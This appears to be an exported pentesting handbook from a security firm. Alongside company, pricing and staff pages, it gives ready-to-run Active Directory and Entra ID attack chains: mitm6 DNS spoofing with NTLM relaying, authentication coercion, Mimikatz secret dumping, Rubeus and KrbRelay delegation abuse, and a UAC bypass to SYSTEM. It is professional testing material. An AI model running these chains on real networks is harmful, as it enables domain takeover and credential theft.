[roadtoken-debug.zip](https://syslifters.sysre.pt/api/v1/pentestprojects/5086e509-4fca-4d99-aa2a-404feeda69a7/files/name/Debug.zip) (internal link) ### AAD Graph API deprecation If you receive an error like this... ```powershell roadrecon gather Starting data gathering phase 1 of 2 (collecting objects) Error 403 for URL https://graph.windows.net//administrativeUnits?api-version=1.61-internal Access to AAD Graph API blocked. Try requesting a token with a different client ID, then re-run roadrecon gather ``` ...then this means you used the default roadrecon auth command that fetches an access token for the already deprecated and blocked AAD Graph API. You have to use MS Graph API. Follow these steps: **1. Initiate device code flow for MS Graph API** ```powershell curl -s -X POST \ https://login.microsoftonline.com//oauth2/v2.0/devicecode \ -d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \ -d "scope=offline_access openid profile https://graph.microsoft.com/.default" \ | tee device.json ``` **2. Poll for Graph API token** ```powershell curl -s -X POST \ https://login.microsoftonline.com//oauth2/v2.0/token \ -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \ -d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \ -d "device_code=$(jq -r .device_code device.json)" \ | tee token.json ``` **3. Authenticate with Roadrecon** ```powershell roadrecon -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 --refresh-token ``` ### Export CA policies 1. install roadrecon via pip 2. use compiled roadtoken.exe from above note (compiled from github repo `https://github.com/dirkjanm/ROADtoken`) 3. get access token as described in note above 4. after roadtools writing credentials to `.roadtools_auth`, start information gathering 5. `roadrecon gather` collects all information from Azure / Entra 6. to export conditional access policies use `roadrecon.exe plugin policies -f caps.html -p` --- --- url: 'https://handbook.syslifters.com/de/fuer-den-einkauf.md' description: >- Hinweise für den Einkauf - Spesen/Barauslagen, Abrechnung, Storno-Regeln und Verweis auf AGB. --- # Das könnte für den Einkauf wichtig sein * Zusätzlich zu den Kosten in unseren Angebot könnten noch Barauslagen, Spesen, Reisekosten, etc. anfallen. * Wir verrechnen nur tatsächlich erbrachte Leistungen. Wenn sich herausstellt, dass wir weniger Zeit benötigen, verrechnen wir entsprechend weniger Personentage. * Sobald wir einen Durchführungszeitraum vereinbart haben, sichern wir euch diesen Zeitraum zu und halten unsere Kapazitäten für euch frei. Deshalb behalten wir uns vor, kurzfristig (weniger als zwei Wochen vor Durchführung) abgesagte Aufträge pauschal mit 80% des veranschlagten Aufwands zu verrechnen. Weitere Infos findet ihr in [unserer Servicebeschreibung](/de/servicebeschreibung.md). --- --- url: 'https://handbook.syslifters.com/pentesting-manual/internal-toolset.md' description: >- Internal tools and providers we use to run the company, with a note about migrating toward European/open-source solutions. --- # Internal Tools, Services and Providers This is a list of our internal toolset that we use for running our company. Want to know something else? [Ask us](/contact-us.md)! ::: tip Transition to European solutions Due to international changes we are transitioning our entire infrastructure to European solutions and open-source alternatives for greater digital sovereignty. By the end of 2026 we plan to have fully migrated our core infrastructure (e.g. Authentik with ID Austria, Nextcloud, OnlyOffice, Fedora/Debian, Stalwart Mail Server on our own Proxmox cluster). **Therefore this toolset list is not up to date and will change in the coming weeks and months**. ::: | For this | We use this | |--- |--- | | User and Permissions Management | [Azure AD](https://azure.microsoft.com/de-de/services/active-directory/){target=\_blank} | | Data Leak Monitoring | [SysLeaks](https://sysleaks.com){target="\_blank"} | | E-Mail Provider | [Microsoft 365](https://www.microsoft.com/de-de/microsoft-365){target=\_blank} | | S/MIME Provider | [Certum](https://www.certum.eu/en/smime-certificates/){target=\_blank} | | Cloud Data Storage | [OneDrive](https://www.microsoft.com/de-de/microsoft-365/onedrive/online-cloud-storage){target=\_blank} | | Client-side encryption for cloud data | [Cryptomator](https://cryptomator.org/){target=\_blank} | | VPN-Client | [Tailscale](https://tailscale.com/){target=\_blank} | | VPN-Server | [Headscale](https://github.com/juanfont/headscale){target=\_blank} | | Password Manager Client | [Bitwarden](https://bitwarden.com/){target=\_blank} | | Password Manager Server | [Vaultwarden](https://github.com/dani-garcia/vaultwarden){target=\_blank} | | Server Virtualization | [Proxmox](https://www.proxmox.com/){target=\_blank} | | Offers & Invoicing | [Microsoft Dynamics](https://dynamics.microsoft.com/){target=\_blank} | | Instant Messaging | [Signal Messenger](https://signal.org/){target=\_blank} | | Video Conferencing | [Microsoft Teams](https://www.microsoft.com/de-de/microsoft-teams/group-chat-software){target=\_blank} | | Microsoft Licenses and Support | [Microsoft Action Pack](https://partner.microsoft.com/de-de/membership/action-pack){target=\_blank} | --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/ipv6-mitm.md description: >- Abusing Windows IPv6 defaults with mitm6 to become DNS for a target host and chain into NTLM relaying. --- # IPv6 MitM Windows ships with two defaults that make local IPv6 a reliable man-in-the-middle primitive: 1. The DHCPv6 client is enabled by default and the host constantly emits `Solicit` messages on the link. 2. The Windows resolver prefers IPv6 over IPv4. As soon as a host learns an IPv6 default gateway and DNS server, those win over the legitimate IPv4 configuration for name resolution. By answering the victim's DHCPv6 `Solicit` first we hand it an attacker-controlled DNS server. From there we own every name it resolves and can either spoof records directly or, more commonly, point the victim at our [`ntlmrelayx`](./ldap-relaying) listener (WPAD, target hostname, AD CS web enrollment, ...) to relay NTLM into LDAP / HTTP / SMB. ## Prerequisites * Layer-2 access to the same broadcast domain as the victim. DHCPv6 is link-local and is not routed. * Victim has DHCPv6 enabled (Windows default) and no host firewall rule blocking DHCPv6 from rogue servers. * For the chained relay: a target service that does not enforce signing / EPA (LDAP without channel binding, HTTP without EPA, ...) and an authentication primitive (user browsing, WPAD lookup, scheduled task to a file server, coerced auth, ...). ### check if IPv6 is preferred over IPv4 (Windows Default) ```PowerShell netsh interface ipv6 show prefixpolicies ``` Default output: ```PowerShell Querying active state... Precedence Label Prefix ---------- ----- -------------------------------- 50 0 ::1/128 40 1 ::/0 35 4 ::ffff:0:0/96 30 2 2002::/16 5 5 2001::/32 3 13 fc00::/7 1 11 fec0::/10 1 12 3ffe::/16 1 3 ::/96 ``` The Precedence column is the key. A higher number means higher priority. By default: * `::/0` (global IPv6) has precedence 40 * `::ffff:0:0/96` (IPv4-mapped) has precedence 35 This means IPv6 is preferred over IPv4 by default on Windows. This enables DNS6 MitM attacks. ## mitm6 [`mitm6`](https://github.com/dirkjanm/mitm6) hands out short-lived IPv6 leases and points the victim at our address as DNS. Always scope the attack with `-hw` (host whitelist) and `-d` (domain filter) so we don't black-hole every Windows box on the segment by accident. ### Install mitm6 repo: Install mitm6 with `pip install mitm6`. ### Usage Mac ```sh sudo python3 mitm6.py -i en14 --debug -hw "computer.example.com" -d "example.com" ``` Linux ```sh sudo mitm6 -i eth0 -hw "computer.example.com" -d "example.com" ``` Windows ```sh mitm6.exe -i eth0 -hw "computer.example.com" -d "example.com" ``` * `-i en14`: interface attached to the victim's broadcast domain. * `-hw computer.example.com`: only reply to DHCPv6 `Solicit` messages from this single host. * `-d example.com`: only spoof DNS replies for names under this domain (legitimate lookups for everything else still resolve over IPv4). * `--debug`: print every solicit, advertisement and DNS reply (drop once the chain is working). ## Chain: mitm6 + ntlmrelayx (RBCD) The canonical primitive: `mitm6` redirects the victim's WPAD lookup (and any internal hostname we choose) to `ntlmrelayx`, which relays the resulting NTLM auth to LDAP on the DC and writes RBCD on a target computer object. ```sh # Terminal 1 - DHCPv6 + DNS spoof, scoped to one victim and the AD domain sudo python3 mitm6.py -i en14 --debug -hw "computer.example.com" -d "example.com" # Terminal 2 - relay to LDAPS, drop a WPAD file, configure RBCD on the target ntlmrelayx.py -6 -t ldaps://dc01.example.com -wh attacker-wpad --delegate-access ``` * `-6` makes `ntlmrelayx` listen on IPv6 (where the relayed connection arrives). * `-wh attacker-wpad` serves the `wpad.dat` that the victim fetches after `mitm6` resolves `wpad.example.com` to us. * `--delegate-access` auto-creates a computer account (if `MachineAccountQuota > 0`) and writes RBCD on the relayed computer object. Finish the chain with the S4U2Self / S4U2Proxy step from [RBCD](./kerberos-delegation/rbcd) to obtain `Administrator` on the target. ## Opsec / cleanup * Always use `-hw` and `-d`. Without scoping, `mitm6` hands leases to *every* Windows host on the link and visibly breaks Outlook, Teams, and file shares. * Stop `mitm6` cleanly with `Ctrl-C`; it tries to expire leases so victims drop the rogue DNS faster than the 300 s default TTL. * If a victim cached a poisoned record after you stopped, run `ipconfig /flushdns` on it or wait for the short TTL `mitm6` advertises. --- --- url: 'https://handbook.syslifters.com/pentesting-manual/fat-clients/java-rmi.md' description: >- Quick primer on Java RMI, what to look for during testing, and tools/approaches for exploration. --- # Java Remote Method Invocation (RMI) Java RMI is a Java API that enables an object running in one Java Virtual Machine (JVM) to invoke methods on an object residing in another JVM, potentially on a different machine. It is a mechanism for building distributed applications in Java, providing a seamless way to perform remote procedure calls (RPC) while preserving the object-oriented model. Here a standard flow is depicted for invoking a method `login` on a `LoginService` object: ![](/images/fat-clients/rmi-standard-flow.png){width="auto"} ## Things to look for ### Remote service rebind Rebind an existing RMI service to e.g. establish a man-in-the-middle (MITM) position: ![](/images/fat-clients/rmi-rebind-mitm.png){width="auto"} ### Vulnerable deserialization Abuse server-loaded gadget libraries (for example `commons-collections`) to exploit deserialization. When the RMI server deserializes untrusted data, this could allow attackers to execute arbitrary code remotely. ![](/images/fat-clients/rmi-deserialization.png){width="auto"} ### Exploit existing methods Look for exposed service methods or objects that can be accessed via RMI and are "juicy". This could lead to all kinds of vulnerabilities (privilege escalation, credential exposure, RCE, etc.). ![](/images/fat-clients/rmi-method-exploit.png){width="auto"} ## Tools for exploration ### RMIScout RMIScout enables wordlist and brute force attacks against exposed Java RMI interfaces to safely guess method signatures without invocation. It supports multiple Java RMI protocols, method invocation, and exploitation. * Project: ### Custom RMI client If you need to access a specific method or object via RMI in an application you’re testing, it’s usually best to implement your own PoC RMI client. You can use LLMs to help with this by providing them with the relevant interfaces so they can generate code needed to interact with and invoke the RMI service methods you want to access. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/jwt-attacks.md description: Quick usage snippet for jwt_tool playbook scanning. --- # JWT attacks ## jwt\_tool Default ("Playbook") scan: ```bash jwt_tool.py -t https://api.example.com/api/v1/self -rh "Authorization: Bearer " -M pb ``` Wiki with more details on attack types: --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/recon/katana-pipeline.md description: 'Crawl + archive URL collection, JS discovery, and secret scanning workflow.' --- # Katana recon pipeline One-liner: ```bash katana -u https://url -hl -nos -jc -silent -aff -kf all,robotstxt,sitemapxml -c 150 -fs fqdn |subjs | python3 ./jsa.py |goverview probe -N -c 500 |sort -u -t';' -k2,14 |cut -d ';' -f1 ``` Running on WSL Kali: ```bash katana -u https://url -hl -nos -jc -silent -aff -kf all,robotstxt,sitemapxml -c 150 -fs fqdn -sc | ~/go/bin/subjs | python ./JSA/jsa.py | ~/go/bin/goverview probe -N -c 1 | sort -u -t';' -k2,14 ``` **Steps:** 1. Katana 2. gau (getallurls – includes Wayback) 3. subjs 4. trufflehog 5. secretfinder ## Install * Install gau (getAllUrls) * * Install Katana * * On Kali via WSL I needed to install Chromium separately: `sudo apt install chromium` * Install subjs * * Install goverview * * Install secretfinder * * Add Go binaries to `PATH` * Optional: install JSA * ## Scan Create a file with the target domains (e.g., from Burp target, subfinder, ...): ```powershell https://www.syslifters.com https://handbook.syslifters.com https://sysleaks.com https://sysreptor.com ... ``` Scan: ```bash # Get URLs from Wayback, etc. with gau cat domains.txt | ../../go/bin/gau > urls.txt # Get more URLs with a live crawl using katana # I needed to use -sc to use local Chromium on WSL Kali katana -list domains.txt -hl -nos -jc -kf all -c 150 -fs fqdn -sc >> urls.txt # Deduplicate URL list awk '!seen[$0]++' urls.txt > dedupedurls.txt # Find JS files and JS files within via subjs, filter to accessible files with goverview cat dedupedurls.txt | subjs | goverview probe -N -c 500 | sort -u -t';' -k2,14 | cut -d ';' -f1 > goverview.txt # Download JS files mkdir files cd files wget -i ../dedupedgoverview.txt # Scan files for secrets with trufflehog sudo docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest filesystem . # Scan files for secrets with SecretFinder # I ran into issues here and had to remove JS files that caused SecretFinder to crash, then re-run. python3 SecretFinder.py -i './*' -o ../secrets.html ``` --- --- url: 'https://handbook.syslifters.com/de/contact-us.md' description: >- Wie Sie Syslifters kontaktieren können — nehmen Sie Kontakt mit unserem Team per E-Mail (S/MIME unterstützt), Signal, Telefon, LinkedIn oder GitHub auf. --- # Kontaktiert uns --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/ldap-relaying.md description: >- Techniques for relaying NTLM authentication to LDAP, including WebClient coercion workflows. --- # LDAP relaying NTLM relay prerequisites (external link) ## ntlmrelayx installation info Required `cryptography` and `pyOpenSSL` versions: ```powershell pip install cryptography==41.0.7 pip install pyOpenSSL==23.2.0 ``` ## Spearphishing HTTP to LDAP relaying attack Run ntlmrelayx to relay incoming connections to LDAP. `python ./examples/ntlmrelayx.py -smb2support --no-rpc-server --smb-port 8445 -t ldap:// -i -l ` Send an MS Teams or mail message to a victim with a webservice link to the attacker host (attacker needs to be in the same intranet trust zone). If the victim clicks the link and establishes a connection, the HTTP authentication is relayed to LDAP and an interactive shell is started. ![interactive ldap shell](/images/ntlmrelayx-ldap-interactive-shell.png){width="auto"} ## WebClient (HTTP) to LDAP relaying ### Start `.searchConnector-ms` on victim devices * Place a `.searchConnector-ms` file on a frequently used share in the customer’s infrastructure * Example contents: ```xml Microsoft Outlook false true {91475FE5-586B-4EBA-8D75-D17434B8CDF6} https://whatever/ ``` * As soon as a user visits that share, Windows automatically starts the **WebClient** service (used as a WebDAV client) and tries to contact the specified URL. * A client running the WebDav client can be coerced. * In contrast to SMB connections, HTTP connections can be relayed to LDAP. * This enables impersonating remote computer objects and compromising them via RBCD. ### Enumerate hosts with running WebClient service Check whether WebDAV is running: `nxc smb -M webdav -u -p ` ### Coerce authentication Use [Coercer.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Coercer.exe) to coerce authentication. * Run `ntlmrelayx.py`: * `ntlmrelayx.py -t ldap:// -i` * Coerce HTTP authentication from clients with WebDAV service running: * Using latest coercer: * `coercer coerce -t -l -u -p -d --always-continue --auth-type http` * Using Coercer 1.6: * `Coercer --target --webdav-host -d -u -p -wp 80` * Known quirks: * Will not work if you specify a listener IP. Use the hostname / NetBIOS name (e.g., `kali`). * Connect to the interactive LDAP session and set the RBCD attribute: * `nc 127.0.0.1 11000` * `set_rbcd $ $` * Known quirks: * Don’t forget to append `$` for machine names. ### Get your AD-joined computer’s NTLM hash with Mimikatz ```powershell privilege::debug token::elevate lsadump::secrets ``` ### Exploit RBCD with Rubeus * Run S4U2Self / S4U2Proxy: * `Rubeus.exe s4u /impersonateuser: /msdsspn:cifs/. /rc4: /user: /ptt` * `username` is a domain user with local admin privileges * Known quirks: * Will not work if the user is in the **Protected Users** group * Use Shadow Credentials instead * Access `C$` on the remote machine: * `dir \\\\\\C$` Clear RBCD settings afterwards (`clear_rbcd $` ; don’t forget the `$` at the end). --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/learn-and-practice.md description: Curated resources for web application hacking practice and staying up to date. --- # Learn and practice ## YouTube playlist Helpful conference talks, presentations, and deep dives focused on web application hacking: * [Best of Web Application Hacking Talks](https://www.youtube.com/playlist?list=PLQ_IaMBtnnym5kwjh_hFX5dIrG5IJJwll) ## Newsletter Regular content to stay up to date with the web security community: * [Critical Thinking Podcast Newsletter](https://www.criticalthinkingpodcast.io/) * [Bug Bytes Newsletter (Intigriti)](https://newsletter.intigriti.com/) * [Pentesterlab Blog](https://pentesterlab.com/) ## Writeups and case studies Real-world vulnerabilities, attack paths, and well-documented findings: * [HackerOne Hacktivity](https://hackerone.com/hacktivity) * [Intigriti Research and writeups](https://www.intigriti.com/researchers/blog) * [Pentester.land – bug bounty writeups](https://pentester.land/list-of-bug-bounty-writeups.html) * [Pentesterlab Blog](https://pentesterlab.com/blog/) ## Learning labs and practice * [PortSwigger Web Security Academy](https://portswigger.net/web-security) * [Hack The Box Academy](https://academy.hackthebox.com/) * [TryHackMe](https://tryhackme.com/) --- --- url: 'https://handbook.syslifters.com/about-us/leonard.md' description: >- Profile page and CV for Leonard Rosian with contact details, experience, and training/certifications. --- leonard@syslifters.com ( S/MIME [cer](/assets/leonard.cer)/[pem](/assets/leonard.pem){target="\_blank" rel="noreferrer"}) * **since 02/2025** Pentester at Syslifters GmbH * **2021-2025** Independent Security Researcher * Participation in public and private bug bounty programs on Intigriti-recognized by leading companies such as Red Bull, Randstad, Personio, Haufe Group, and Veriff. Top 200 researcher on Intigriti’s All-Time Leaderboard. * Identification and reporting of 45+ valid vulnerabilities, over 50% of which have a CVSS score of at least 7; discovered vulnerabilities include SQL Injection, SSRF, Improper Authentication, Business Logic Errors, Improper Access Control, TOCTOU (Race Conditions), Information Disclosure, and Cross-Site Scripting (XSS). * Exclusive, sponsored participation in the Intel Knights of Elektron Live Hacking Event 2023 as an Intigriti Top Hacking Talent. Collaboration with internationally leading security researchers and the Intel Developer Team during the event. - [Pentesterlab-Bages](https://pentesterlab.com/profile/rosian_leo): White, Serialize, Introduction, Essential, Unix, Blue, Yellow & PCAP - [TryHackMe-Bages](https://tryhackme.com/r/p/LE0): Blue, Webbed, Burp'ed, Hash Cracker bugbountyhunte - [Offensive Security](https://www.credential.net/afc9a2ca-b872-4747-b7ab-874944e3d212#acc.qCc1kZfB): XXE Attacks Skill Pin - [Root-Me](https://www.root-me.org/leo-537973) --- --- url: 'https://handbook.syslifters.com/de/ueber-uns/leonard.md' description: >- Profilseite und Lebenslauf von Leonard Rosian mit Kontakt, Erfahrung und Ausbildung/Zertifikaten. --- leonard@syslifters.com ( S/MIME [cer](/assets/leonard.cer)/[pem](/assets/leonard.pem){target="\_blank" rel="noreferrer"}) * **seit 02/2025** Pentester bei Syslifters GmbH * **2021-2025** Independent Security Researcher * Teilnahme an öffentlichen und privaten Bug-Bounty-Programmen auf Intigriti – Anerkennung von führenden Unternehmen wie Red Bull, Randstad, Personio, Haufe Group und Veriff. Top 200 Researcher unter Intigriti All-Time Leaderboard. * Identifikation und Meldung von +45 validen Schwachstellen – über 50 % der Schwachstellen mit einem CVSS Score von mindestens 7; gefundene Schwachstellen umfassen SQL Injection, SSRF, Improper Authentication, Business Logic Errors, Improper Access Control, TOCTOU (Race Conditions), Information Disclosure und Cross-Site Scripting (XSS). * Exklusive, gesponserte Teilnahme am Intel Knights of Elektron Live Hacking Event 2023 als Intigriti Top-Hacking-Talent. Zusammenarbeit mit international führenden Security-Researchern und dem Intel-Developer-Team im Rahmen des Events. - [Pentesterlab-Bages](https://pentesterlab.com/profile/rosian_leo): White, Serialize, Introduction, Essential, Unix, Blue, Yellow & PCAP - [TryHackMe-Bages](https://tryhackme.com/r/p/LE0): Blue, Webbed, Burp'ed, Hash Cracker bugbountyhunte - [Offensive Security](https://www.credential.net/afc9a2ca-b872-4747-b7ab-874944e3d212#acc.qCc1kZfB): XXE Attacks Skill Pin - [Root-Me](https://www.root-me.org/leo-537973) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/license-to-role-mapping-risks.md description: >- How license assignment and app sharing can implicitly grant Dataverse roles and lead to unintended data access. --- # License to role mapping risks ## Opt-out of automatic license-based user roles management [Opt-out of automatic license-based user roles management - Power Platform | Microsoft Learn](https://learn.microsoft.com/en-us/power-platform/admin/opt-out-automatic-license) ### Automatic role assignment [Assign security roles - Power Platform | Microsoft Learn](https://learn.microsoft.com/en-us/power-platform/admin/assign-security-roles?tabs=new#automatic-role-assignment) ## 1. The basics: licensing vs roles | Concept | Description | Who controls it | | --- | --- | --- | | Licensing | Determines what features a user is entitled to use. | Microsoft 365 / Azure AD license assignment | | Security roles | Determine what data and actions a user can access or perform. | Environment admin or Dataverse admin | The problem is that Power Platform can automatically assign certain roles when a license is granted, or users can gain broad privileges indirectly through environment defaults. ## 2. How license-to-role mapping works Licenses unlock capabilities, and Power Platform can automatically assign the minimum roles or permissions needed to use them. | License | What it unlocks | Automatic or implied role assignments | | --- | --- | --- | | Microsoft 365 (E3/E5) | Basic Power Apps and Power Automate features (using M365 data sources like SharePoint, OneDrive) | Users can use Power Apps shared with them but cannot access Dataverse by default. | | Power Apps / Power Automate per-user plan | Premium connectors + Dataverse access | When they open an environment, they get the Basic User role in Dataverse automatically. | | Dynamics 365 (Sales, Service, etc.) | Apps built on Dataverse | Assigns specific Dataverse app roles (like Salesperson, Customer Service Rep) automatically. | | Power Apps Developer Plan | Personal developer environment with Dataverse | User automatically becomes System Administrator in their own developer environment. | ## 3. Why this can be a security risk ### A. "Silent" Dataverse access When a user has a Power Apps license and is added to an environment (for example, by sharing an app), Power Platform may automatically assign them a "Basic User" role in Dataverse for that environment. Impact: * They now have Dataverse access — not just app access. * If the environment has tables with permissive roles (like organization-level read), that user can see all records beyond the app’s scope. ### B. Developer environments with Dataverse admin rights Every user with a Power Apps Developer Plan can create a personal environment with full Dataverse admin rights. Impact: * They become System Administrator in that environment. * They can connect to company data sources (via connectors). * They can export data or build flows that move data outside the organization. ### C. Shared licenses grant broad roles Dynamics 365 and Power Platform app sharing can auto-assign application-level roles. Impact: * Users might gain access to tables and data beyond what they need. ## 4. Real-world example of risk Scenario: A developer shares a Dataverse-backed app with "Everyone in the organization", and a Dataverse table has organization-level read permissions. Suddenly, every employee can query/export all data in that table (for example via Power BI or Dataverse APIs). ## 5. How to prevent or mitigate these risks * Control environment creation (restrict to admins; disable personal developer environments unless needed). * Restrict automatic role assignment; use custom security roles; avoid organization-level scope for sensitive tables. * Manage sharing: avoid "Everyone in organization"; use Azure AD groups. * Audit and monitor user-role assignments and Dataverse access. * Separate Dev/Test/Prod environments and apply strict role assignments in production. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/limit-environment-creation-for-users.md description: >- Reference for controlling who can create Power Platform environments in a tenant. --- # Limit environment creation for users --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/limited-audit-trail-missing-logging-configuration.md description: >- Enable Dataverse auditing and review retention settings to avoid gaps in audit trails. --- # Limited audit trail due to missing logging configuration ## Turn on auditing 1. Sign in to . 2. From the left-side menu, select **Security > Compliance**. 3. Select the **Auditing** tile. 4. Select the environment that you want to turn on auditing. 5. Select **Set up auditing**. In the **Auditing** dialog box, select **Turn on auditing**. 6. Review the list of Dataverse data and Dynamics 365 apps entities. 7. Review and update the **Event log retention** by selecting the dropdown. 8. Select the period that meets your data retention policy. ![Audit Policy Example GUI](/images/power-platform/audit-policy-example.png){width="auto"} --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/privilege-escalation/kerberos-relaying.md description: >- Local privilege escalation on domain-joined Windows hosts by relaying machine-account authentication to LDAP and abusing RBCD or shadow credentials. --- # LPE via NTLM and Kerberos relaying On a domain-joined workstation where you only have a standard user session, the local computer account (`WORKSTATION$`) can still authenticate to directory services. If the domain controller accepts unsigned LDAP, an attacker can relay that authentication to LDAP and modify the workstation object, typically to configure [RBCD](../lateral-movement/kerberos-delegation/rbcd) or [shadow credentials](../lateral-movement/shadow-credentials). Then use Kerberos delegation or PKINIT to obtain a privileged ticket to `host/` and finally abuse the Service Control Manager (SCM) for `NT AUTHORITY\SYSTEM`. This is the same trust abuse as lateral RBCD, but the victim object is the machine you are sitting on. ::: warning Defaults that enable this Microsoft still allows LDAP without signing on many domains ([ADV190023](https://msrc.microsoft.com/update-guide/vulnerability/ADV190023)). `ms-DS-MachineAccountQuota` defaults to `10`, so any domain user can create a computer account unless hardened. ::: Automated chain: [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) (wrapper around [KrbRelay](https://github.com/cube0x0/KrbRelay), Rubeus, PowerMad, Whisker, SCMUACBypass). Manual steps below mirror what this tool automates. ## Prerequisites | Requirement | RBCD path | Shadow-credentials path | | --- | --- | --- | | Domain-joined Windows host | Yes | Yes | | Low-priv interactive session on that host | Yes | Yes | | DC LDAP signing not required (default) | Yes | Yes | | Controlled computer account (SPN) | Create via MAQ, or reuse a host you own | Not required for the relay write | | `ms-DS-MachineAccountQuota` > 0 | Needed if creating a new computer | No | | AD CS + PKINIT-capable DC | No | Yes | Set `TARGET` = short hostname of the compromised workstation (`$env:COMPUTERNAME`), `DC` = domain controller FQDN, `DOMAIN` = DNS domain. ## Path 1: NTLM relay to LDAP (RBCD) {#path-1-ntlm-relay} Use when you can run ntlmrelayx on an attacker host and coerce the victim workstation's machine account to authenticate to your listener. Less self-contained than [Path 2](#path-2-krbrelay-rbcd); coercion from *inside* a low-priv session alone is often blocked by egress/firewall. ### 1. Validate environment ```sh nxc ldap dc01.lab.local -u user -p pass -M maq nxc ldap dc01.lab.local -u user -p pass -M ldap-signing ``` ### 2. Start the relay on the attacker host ```sh impacket-ntlmrelayx -t ldaps://dc01.lab.local --delegate-access --escalate-user EVIL$ -smb2support ``` `--delegate-access` creates `EVIL$` (if needed) and writes its SID into `msDS-AllowedToActOnBehalfOfOtherIdentity` on the relayed computer object (the workstation that authenticated). ### 3. Coerce the workstation to your listener From a foothold that can trigger RPC coercion toward your relay (often not the low-priv session alone): ```sh # Linux coercer coerce -d lab.local -u user -p pass -t workstation.lab.local -l ATTACKER # Windows: Coercer.exe coerce -d lab.local -u user -p pass -t workstation.lab.local -l ATTACKER ``` Use [Coercer.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Coercer.exe) or the Linux module (see [SMB relaying](../lateral-movement/smb-relaying)). ### 4. S4U against the local host Follow the Windows chain in [RBCD](../lateral-movement/kerberos-delegation/rbcd#attack-chain-windows--rubeus--rsat), impersonating `Administrator` for `host/TARGET.lab.local` (or `cifs/...`) using `EVIL$` credentials. ``` Rubeus.exe s4u /user:ATTACKER$ /aes256: /impersonateuser:Administrator /msdsspn:host/target.lab.local /ptt ``` ## Path 2: Local Kerberos relay (KrbRelay, RBCD) {#path-2-krbrelay-rbcd} [KrbRelay](https://github.com/cube0x0/KrbRelay) triggers local Kerberos authentication (via COM/OXID) and relays it to `ldap/DC`, then patches RBCD on `TARGET$`. Reference walkthrough: [tothi GIST](https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9). ### 1. Check machine account quota ```sh nxc ldap dc01.lab.local -u user -p pass -M maq ``` If `MAQ = 0`, skip account creation and use a computer account you already control (see [RBCD without a new computer](../lateral-movement/kerberos-delegation/rbcd#without-creating-a-new-computer-account)). ### 2. Create an attacker computer account ```powershell # PowerMad / SharpMad on the victim host (domain user is enough) New-MachineAccount -MachineAccount EVIL -Password (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) ``` ```powershell # Resolve the new account's SID (adjust DN) $evil_sid = ([ADSI]"LDAP://CN=EVIL,CN=Computers,DC=lab,DC=local").objectSID (New-Object System.Security.Principal.SecurityIdentifier($evil_sid.Value, 0)).Value ``` ### 3. Find a free OXID resolver port `CheckPort.exe` ships with KrbRelay. Pick a port it reports as usable (commonly in the `1024-65535` range): ```cmd CheckPort.exe ``` ### 4. Relay and configure RBCD on TARGET$ ```cmd KrbRelay.exe -spn ldap/dc01.lab.local ^ -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 ^ -rbcd S-1-5-21-...-1234 ^ -port 12345 ``` On success, `msDS-AllowedToActOnBehalfOfOtherIdentity` on `TARGET$` trusts `EVIL$`. ### 5. Request a privileged ticket to the local host ```powershell Rubeus.exe hash /user:EVIL /password:Password123! /domain:lab.local Rubeus.exe s4u /user:EVIL$ /rc4: /impersonateuser:Administrator ^ /msdsspn:host/TARGET.lab.local /ptt ``` Prefer `/aes256:` when the account supports it ([tool cheat sheet](../tool-cheat-sheet#rubeus)). ### 6. Elevate to SYSTEM [SCM UAC bypass](#elevation-scm-uac-bypass) in the same logon session. ## Path 3: Local Kerberos relay (KrbRelay, shadow credentials) {#path-3-krbrelay-shadow-credentials} Same relay primitive, but KrbRelay writes `msDS-KeyCredentialLink` instead of RBCD. Does not need MAQ; does need AD CS and PKINIT ([shadow credentials](../lateral-movement/shadow-credentials)). ### 1. Find an OXID port ```cmd CheckPort.exe ``` ### 2. Relay and add key material to TARGET$ ```cmd KrbRelay.exe -spn ldap/dc01.lab.local ^ -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 ^ -shadowcred -port 12345 ``` KrbRelay prints a Rubeus `asktgt` command using the generated certificate. ### 3. Obtain a TGT for TARGET$ Run the printed command; add `/nowrap /enctype:aes256` when possible: ```powershell Rubeus.exe asktgt /user:"TARGET$" /certificate: /password: /nowrap /enctype:aes256 ``` ### 4. S4U to local admin on the workstation ```powershell Rubeus.exe s4u /user:TARGET$ /ticket: /impersonateuser:Administrator ^ /self /altservice:host/TARGET /ptt ``` ### 5. Elevate to SYSTEM [SCM UAC bypass](#elevation-scm-uac-bypass). ## Elevation: SCM UAC bypass {#elevation-scm-uac-bypass} Standard users cannot create services as `SYSTEM`, but with a valid `host/TARGET` ticket in the current session, [SCMUACBypass](https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82) patches SCM to accept local Kerberos authentication for service creation: ```cmd # Build the GIST in a VS shell cl -DUNICODE SCMUACBypass.cpp advapi32.lib # Execute it on the target machine to elevate privileges to SYSTEM SCMUACBypass.exe ``` A new service runs `cmd.exe` as `SYSTEM`. The service name is typically `UacBypassedService`. ## Cleanup | Artifact | RBCD path | Shadow-credentials path | | --- | --- | --- | | Local service | `sc delete UacBypassedService` | Same | | `msDS-AllowedToActOnBehalfOfOtherIdentity` on `TARGET$` | `Set-ADComputer TARGET -PrincipalsAllowedToDelegateToAccount $null` or `impacket-rbcd -delegate-to 'TARGET$' -action flush 'lab.local/user:pass'` | n/a | | `msDS-KeyCredentialLink` on `TARGET$` | n/a | `Whisker.exe remove /target:"TARGET$" /deviceid:` | | Rogue `EVIL$` account | 